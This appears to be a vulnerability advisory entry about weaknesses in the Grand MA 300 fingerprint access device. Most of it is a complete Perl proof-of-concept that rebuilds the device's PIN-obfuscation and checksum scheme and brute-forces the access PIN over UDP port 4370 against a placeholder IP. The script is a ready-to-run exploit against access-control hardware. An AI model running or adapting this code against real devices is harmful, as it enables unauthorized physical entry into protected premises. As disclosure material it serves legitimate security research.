1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 |
source: https://www.securityfocus.com/bid/69390/info Grand MA 300 is prone to multiple security weaknesses. Attackers can exploit these issues to disclose the access pin by sniffing network traffic or perform brute-force attacks on pin to gain unauthorized access. This may aid in other attacks. Grand MA 300 running firmware version 6.60 is vulnerable. #!/usr/bin/perl # # This brute-forces the pin of a Grand MA 300 Fingerprint # Access device in less than 5 minutes, if the pin # is between 1 and 4294967296. # # written by Eric Sesterhenn <eric.sesterhenn () lsexperts de> # http://www.lsexperts.de # use IO::Socket::INET; use strict; use warnings; sub hexd { my ($data) = @_; my $ret = ""; for (my $i=0; $i<length($data); $i++) { $ret .= sprintf "%X", ord(substr($data, $i, 1)); } return $ret; } sub getword { my ($data, $offset) = @_; my $ret = 0; $ret = ord(substr($data, $offset, 1)); $ret += 0x100 * ord(substr($data, $offset+1, 1)); return $ret; } sub makeword { my ($value) = @_; my $ret = chr(($value & 0xFF)) . chr((($value >> 8) & 0xFF)); return $ret; } sub calccrc { my ($packet) = @_; # we pad with zero for packets of uneven length my $newpacket = substr($packet, 0, 2) . substr($packet, 4) . chr(0); my $crc = 0; # the crc is the sum of all words in the packet for (my $i = 0; $i<length($packet) - 2; $i += 2) { $crc += getword($newpacket, $i); } # if the result is to big, we add the high bits to the lower bits while ($crc > 0xFFFF) { $crc = ($crc & 0xFFFF) + ($crc >> 0x10); } # negate the checksum $crc = ~$crc & 0xFFFF; return $crc; } sub makepacket { my ($type, $cid, $seqno, $data) = @_; my $crc = calccrc(makeword($type).makeword(0).makeword($cid).makeword($seqno).$data); return makeword($type).makeword($crc).makeword($cid).makeword($seqno).$data; } sub calcpass { my ($pin, $cid) = @_; my $ret = 0; # revert the bits for (my $i = 0; $i < 32; $i++) { $ret *= 2; if ($pin & 1) { $ret = $ret + 1; } $pin = $pin / 2; } $ret += $cid; # xor with magic value $ret ^= 0x4F534B5A; # switch the words $ret = (($ret & 0xFFFF) << 16) + ($ret >> 16); # xor all, but third byte with last byte of gettickcount my $gc = 0x00; $ret ^= $gc + ($gc << 8) + ($gc << 24); # set third byte to last byte of gettickcount # this weakens the algorithm even further, since this byte # is no longer relevant to the algorithm $ret = ($ret & 0xFF000000) + ($gc << 16) + ($ret & 0xFFFF); return $ret; } # flush after every write local $| = 1; my ($socket,$client_socket); # creating object interface of IO::Socket::INET modules which internally creates # socket, binds and connects to the TCP server running on the specific port. my $data; $socket = new IO::Socket::INET ( PeerHost => '192.168.1.201',# CHANGEME PeerPort => '4370', Proto => 'udp', ) or die "ERROR in Socket Creation : $!\n"; # initialize the connection $socket->send(makepacket(1000, 0, 0, "")); $socket->recv($data, 1024); my $typ = getword($data, 0); my $cid = getword($data, 4); if ($typ != 2005) { printf("Client does not need a password"); exit(-1); } for (my $i = 0; $i < 65536; $i++) { if (($i % 10) == 0) { printf "$i\n"; } my $pass = calcpass($i, $cid); $socket->send(makepacket(1102, $cid, $i + 1, pack("V", $pass))); $socket->recv($data, 1024); $typ = getword($data, 0); if ($typ == 2000) { printf("Found pin: %d\n", $i); exit(0); } } # disconnect $socket->send(makepacket(1001, $cid, 2, "")); $socket->close(); |